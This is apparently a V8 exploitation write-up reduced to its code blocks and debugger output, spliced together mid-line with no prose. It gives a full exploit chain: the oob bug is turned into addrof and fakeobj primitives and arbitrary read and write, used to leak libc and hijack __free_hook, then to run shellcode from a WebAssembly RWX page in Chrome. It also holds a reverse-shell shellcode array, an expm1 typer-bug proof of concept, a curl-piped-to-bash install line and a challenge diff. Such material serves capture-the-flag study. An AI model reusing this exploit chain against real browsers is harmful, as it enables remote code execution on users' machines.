0x30b708b4dd50: 0x00003659bdb014f9 0x0000000200000000 <- elements (map, length)
0x30b708b4dd60: 0x3ff8000000000000 0x4004000000000000 <- array entries
0x30b708b4dd70: 0x000009bccc0c2ed9 0x00003659bdb00c71 <- JSArray
0x30b708b4dd80: 0x000030b708b4dd51 0x0000000200000000
0x30b708b4dd90: 0x00003659bdb01cc9 0x0000000400000000gef➤ p/f 0x3ff8000000000000
$1 = 1.5
gef➤ p/f 0x4004000000000000
$2 = 2.5$ gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob()
2.28382032514e-310d8> ftoi(a.oob()).toString(16)
"2a0a9af82ed9"d8> %DebugPrint(a)
0x2d83ee78e0b9 <JSArray[2]>
[1.5, 2.5]
d8> ^C
gef➤ x/4gx 0x2d83ee78e0b8
0x2d83ee78e0b8: 0x00002a0a9af82ed9 0x00000db811140c71
0x2d83ee78e0c8: 0x00002d83ee78e099 0x0000000200000000var float_arr = [1.5, 2.5]
var obj1 = {a: 1, b: 2}
var obj2 = {a: 5, b: 10}
var obj_arr = [obj1, obj2]gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> var float_arr = [1.5, 2.5]
undefined
d8> var obj1 = {a: 1, b: 2}
undefined
d8> var obj2 = {a: 5, b: 10}
undefined
d8> var obj_arr = [obj1, obj2]
undefined
d8> %DebugPrint(float_arr)
0x3a38af88e0c9 <JSArray[2]>
[1.5, 2.5]
d8> %DebugPrint(obj_arr)
0x3a38af8915f1 <JSArray[2]>
[{a: 1, b: 2}, {a: 5, b: 10}]gef➤ x/4gx 0x3a38af88e0c8
0x3a38af88e0c8: 0x0000179681882ed9 0x0000389170c80c71
0x3a38af88e0d8: 0x00003a38af88e0a9 0x0000000200000000
gef➤ x/4gx 0x00003a38af88e0a8 <-- access elements array
0x3a38af88e0a8: 0x0000389170c814f9 0x0000000200000000
0x3a38af88e0b8: 0x3ff8000000000000 0x4004000000000000gef➤ x/4gx 0x3a38af8915f0
0x3a38af8915f0: 0x0000179681882f79 0x0000389170c80c71
0x3a38af891600: 0x00003a38af8915d1 0x0000000200000000
gef➤ x/4gx 0x00003a38af8915d0 <-- access elements array
0x3a38af8915d0: 0x0000389170c80801 0x0000000200000000
0x3a38af8915e0: 0x00003a38af8904f1 0x00003a38af8906b1d8> %DebugPrint(obj1)
0x3a38af8904f1 <Object map = 0x17968188ab89>
{a: 1, b: 2}
d8> %DebugPrint(obj2)
0x3a38af8906b1 <Object map = 0x17968188ab89>
{a: 5, b: 10}d8> var map_float = float_arr.oob()
d8> obj_arr.oob(map_float)
d8> ftoi(obj_arr[0]).toString(16)
"3a38af8904f1"var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}$ gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x031afef4ebe9 <Object map = 0x3658c164ab39>
{a: 1}
d8> addrof(obj).toString(16)
"31afef4ebe9"function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
let fake = fakeobj(addrof(arb_rw_arr));
}function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
}// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}function initial_arb_write(addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0
fake[0] = itof(BigInt(val));
}function arb_write(addr, val) {
// set up ArrayBuffer and DataView objects
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// write address to backing store
initial_arb_write(backing_store_addr, addr);
// write data to offset 0, with little endian true
dataview.setBigUint64(0, BigInt(val), true);
}console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16))
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16))[+] Float Map: 0x2b1dc2e82ed9
[+] Object Map: 0x2b1dc2e82f79gef➤ vmmap
[...]
0x00002b1dc2e80000 0x00002b1dc2ec0000 0x0000000000000000 rw-
[...]$ gdb ./d8
gef➤ run --allow-natives-syntax --shell exploit.js
[+] Address of Arbitrary RW Array: 0x64d2a00f499
[+] Float Map: 0x1d8734482ed9
[+] Object Map: 0x1d8734482f79
[+] Map Region Start: 0x1d8734480000
V8 version 7.5.0 (candidate)
d8> ^C
gef➤ vmmap
[...]
0x00001d8734480000 0x00001d87344c0000 0x0000000000000000 rw-
[...]
0x0000555555554000 0x00005555557e7000 0x0000000000000000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555557e7000 0x00005555562af000 0x0000000000293000 r-x /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562af000 0x00005555562ef000 0x0000000000d5b000 r-- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562ef000 0x00005555562f9000 0x0000000000d9b000 rw- /home/andrej/Desktop/oob-v8/v8/out.gn/x64.release/d8
0x00005555562f9000 0x00005555563c6000 0x0000000000000000 rw- [heap]
[...]
0x00007ffff7005000 0x00007ffff71ec000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff71ec000 0x00007ffff73ec000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73ec000 0x00007ffff73f0000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff73f0000 0x00007ffff73f2000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
[...]
gef➤ x/200gx 0x1d8734480000
0x1d8734480000: 0x0000000000040000 0x0000000000000004
0x1d8734480010: 0x00005555563a7f60 0x000055555631a2e0
0x1d8734480020: 0x00001d8734480000 0x0000000000040000
0x1d8734480030: 0x0000555556329b60 0x00001d8734480001
0x1d8734480040: 0x0000555556394e90 0x00001d8734480138
0x1d8734480050: 0x00001d87344c0000 0x0000000000000000
0x1d8734480060: 0x0000000000000000 0x0000000000000000
[...]let heap_leak = arb_read(map_reg_start + 0x10n);
let heap_base = heap_leak - 0xaef60n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16))gef➤ x/200gx 0x5555562f9000
0x5555562f9000 <_ZN2v85Shell15local_counters_E+2400>: 0x0000000000000000 0x0000000000000000
0x5555562f9010 <_ZN2v85Shell15local_counters_E+2416>: 0x0000000000000000 0x0000000000000000
0x5555562f9020 <_ZN2v85Shell15local_counters_E+2432>: 0x0000000000000000 0x0000000000000000
[...]gef➤ x/10gx 0x000055555631a2e0
0x55555631a2e0: 0x00005555562dbea8 0x0000000000001000
0x55555631a2f0: 0x0000000000001000 0x0000000000000021
[...]let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));
let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));readelf -a d8 | grep -i read
[...]
000000d9a4c0 003d00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
[...]let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));gef➤ p &system
$1 = (int (*)(const char *)) 0x7ffff7054420 <__libc_system>
gef➤ p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff73f28e8 <__free_hook>
// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
// set up ArrayBuffer and DataView objects
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// write to address to backing store
initial_arb_write(backing_store_addr, addr);
// write data to offset 0, with little endian true
dataview.setBigUint64(0, BigInt(val), true);
}
// exploit
// leaks
console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16));
let map_reg_start = ftoi(map_float) - 0x2ed9n;
console.log("[+] Map Region Start: 0x" + map_reg_start.toString(16));
let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x212e0n;
console.log("[+] Heap Base: 0x" + heap_base.toString(16));
let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd87ea8n;
console.log("[+] Binary Base: 0x" + binary_base.toString(16));
let read_got = binary_base + 0xd9a4c0n;
console.log("[+] read@got: 0x" + read_got.toString(16));
let read_libc = arb_read(read_got);
console.log("[+] read@libc: 0x" + read_libc.toString(16));
let libc_base = read_libc - 0xbc0430n;
console.log("[+] LIBC Base: 0x" + libc_base.toString(16));
// system and free hook offsets
let system = libc_base + 0x4f420n;
let free_hook = libc_base + 0x3ed8e8n;
console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;gef➤ vmmap
[...]
0x000035d2131ff000 0x000035d21b141000 0x0000000000000000 ---
0x0000396a8d0b5000 0x0000396a8d0b6000 0x0000000000000000 rwx
0x0000396a8d0b6000 0x0000396acd0b5000 0x0000000000000000 ---
[...]console.log("[+] WASM Mod at 0x" + addrof(wasm_mod).toString(16));
console.log("[+] WASM Instance at 0x" + addrof(wasm_instance).toString(16));
console.log("[+] F at 0x" + addrof(f).toString(16));gef➤ run --allow-natives-syntax --shell exploit2.js
[+] Address of Arbitrary RW Array: 0x22322b10f919
[+] WASM Mod at 0x22322b10fcc9
[+] WASM Instance at 0x45c390e13a1
[+] F at 0x45c390e1599
V8 version 7.5.0 (candidate)
d8> ^C
gef➤ vmmap
[...]
0x0000311254159000 0x000031125415a000 0x0000000000000000 rwx
[...]
gef➤ search-pattern 0x0000311254159000
[+] Searching '\x00\x90\x15\x54\x12\x31\x00\x00' in memory
[+] In (0x45c390c0000-0x45c39100000), permission=rw-
0x45c390e1428 - 0x45c390e1448 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
[+] In '[heap]'(0x5555562f9000-0x5555563c6000), permission=rw-
0x5555563a1e38 - 0x5555563a1e58 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
0x5555563acfe0 - 0x5555563ad000 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
0x5555563ad000 - 0x5555563ad020 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"
0x5555563ad120 - 0x5555563ad140 → "\x00\x90\x15\x54\x12\x31\x00\x00[...]"let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 bytes can be written to where we want
// this is similar to the arb_write() function
// but we have to redo it because we want to write way more than 8 bytes
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];console.log("[+] Copying Shellcode...");
copy_shellcode(rwx_base, shellcode);
console.log("[+] Running Shellcode...");
f();$ ./d8 --shell exploit2.js
[+] Address of Arbitrary RW Array: 0x19b85504fea1
[+] WASM Instance at 0x189e40ca1761
[+] RWX Region located at 0x29686af10000
[+] Copying Shellcode...
[+] Running Shellcode...
Warning: Cannot convert string "-adobe-symbol-*-*-*-*-*-120-*-*-*-*-*-*" to type FontStruct// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
// array for access to arbitrary memory addresses
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array with address
// we must subtract 0x10 as there are two 64-bit values
// initially with the map and a size smi, so 0x10 offset
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
// set up ArrayBuffer and DataView objects
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// write to address to backing store
initial_arb_write(backing_store_addr, addr);
// write data to offset 0, with little endian true
dataview.setBigUint64(0, BigInt(val), true);
}
// wasm exploit
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
console.log("[+] WASM Instance at 0x" + (addrof(wasm_instance)).toString(16));
// leak RWX base
let rwx_pointer_loc = addrof(wasm_instance) + 0x87n;
let rwx_base = arb_read(rwx_pointer_loc)
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));
// shellcode time
function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 can be written to where we want
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// pop it
console.log("[+] Copying Shellcode...");
copy_shellcode(rwx_base, shellcode);
console.log("[+] Running Shellcode...");
f();
<html>
<head>
<script src="exploit2.js"></script>
</head>
</html>$ ./chrome --no-sandbox ../../index.htmlvar shellcode = ['0x6a58296a', '0x016a5f02', '0x050f995e', '0x68525f50', '0x0100007f', '0x5c116866', '0x6a026a66', '0x5e54582a', '0x0f5a106a', '0x5e026a05', '0x0f58216a', '0xceff4805', '0x016af679', '0x50b94958', '0x77737361', '0x41203a64', '0x6a5e5451', '0x050f5a08', '0x48c03148', '0x0f08c683', '0x31b84805', '0x35343332', '0x56383736', '0x75af485f', '0x583b6a1a', '0xbb485299', '0x6e69622f', '0x68732f2f', '0x525f5453', '0x54575a54', '0x90050f5e']One of my favourites
PlainNumber-0NaNMath.expm(-0) = -0function foo() {
return Object.is(Math.expm1(-0), -0);
}
console.log(foo());
%OptimizeFunctionOnNextCall(foo);
console.log(foo()); % d8 --allow-natives-syntax expm1-poc.js
true
falsefunction foo(x) {
let a = [1.1, 2.2];
let b = Object.is(Math.expm1(x), -0);
return a[b * 1337];
}Setting Up
$ sudo apt update
$ sudo apt install git vim$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ echo "export PATH=/tools/depot_tools:$PATH" >> ~/.bashrc$ fetch v8
$ cd v8
v8$ ./build/install-build-deps.shv8$ git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
v8$ gclient sync$ 7z x Chrome.tar.gz
$ tar -xvf Chrome.tar
$ cp Chrome/oob.diff .v8$ git apply ../oob.diff
v8$ ./tools/dev/v8gen.py x64.release
v8$ ninja -C ./out.gn/x64.releaseTraceback (most recent call last):
File "/tools/depot_tools/ninja.py", line 14, in <module>
import gclient_paths
File "/tools/depot_tools/gclient_paths.py", line 24, in <module>
def FindGclientRoot(from_dir, filename='.gclient'):
File "/usr/lib/python3.6/functools.py", line 477, in lru_cache
raise TypeError('Expected maxsize to be an integer or None')
TypeError: Expected maxsize to be an integer or None$ sudo apt install python3.8$ sudo ln -sf /usr/bin/python3.8 /usr/bin/python3$ ninja --version
depot_tools/ninja.py: Could not find Ninja in the third_party of the current project, nor in your PATH.
Please take one of the following actions to install Ninja:
- If your project has DEPS, add a CIPD Ninja dependency to DEPS.
- Otherwise, add Ninja to your PATH *after* depot_tools.$ sudo apt install ninja-buildv8$ ninja -C ./out.gn/x64.releasev8$ ./tools/dev/v8gen.py x64.debug
v8$ ninja -C ./out.gn/x64.debug$ sudo ln -sf /usr/bin/python3.6 /usr/bin/python3$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"#!/usr/bin/env python3
# With credit/inspiration to the v8 problem in downUnder CTF 2020
import os
import subprocess
import sys
import tempfile
def p(a):
print(a, flush=True)
MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
p(f"Received size of {input_size}, which is too big")
sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don't buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
f.write(script_contents.encode("utf-8"))
p("File written. Running. Timeout is 20s")
res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p("Run Complete")
p(f"Stdout {res.stdout}")
p(f"Stderr {res.stderr}")$ 7z x source.tar.gz
$ tar -xvf source.tardiff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
} // namespace
+uint64_t doubleToUint64_t(double d){
+ union {
+ double d;
+ uint64_t u;
+ } conv = { .d = d };
+ return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ __asm__("int3");
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ Isolate* isolate = args.GetIsolate();
+ if(args.Length() != 1) {
+ return;
+ }
+
+ double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (func == (double *)-1) {
+ printf("Unable to allocate memory. Contact admin\n");
+ return;
+ }
+
+ if (args[0]->IsArray()) {
+ Local<Array> arr = args[0].As<Array>();
+
+ Local<Value> element;
+ for (uint32_t i = 0; i < arr->Length(); i++) {
+ if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+ Local<Number> val = element.As<Number>();
+ func[i] = val->Value();
+ }
+ }
+
+ printf("Memory Dump. Watch your endianness!!:\n");
+ for (uint32_t i = 0; i < arr->Length(); i++) {
+ printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+ }
+
+ printf("Starting your engine!!\n");
+ void (*foo)() = (void(*)())func;
+ foo();
+ }
+ printf("Done\n");
+}
+
void Shell::ModuleResolutionSuccessCallback(
const FunctionCallbackInfo<Value>& info) {
std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
+ // Add challenge builtin, and remove some unintented solutions
+ global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
+ global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
-
global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
- global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
}
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
#ifdef V8_FUZZILLI
global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
-
return global_template;
}
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
- isolate->SetHostImportModuleDynamicallyCallback(
+ /*isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ Shell::HostInitializeImportMetaObject);*/
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
kNoProcessMessageQueue = false
};
+ static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+ static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<Value> name, PrintResult print_result,
ReportExceptions report_exceptions,void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
Isolate* isolate = args.GetIsolate();
if(args.Length() != 1) {
return;
}
double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (func == (double *)-1) {
printf("Unable to allocate memory. Contact admin\n");
return;
}
if (args[0]->IsArray()) {
Local<Array> arr = args[0].As<Array>();
Local<Value> element;
for (uint32_t i = 0; i < arr->Length(); i++) {
if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
Local<Number> val = element.As<Number>();
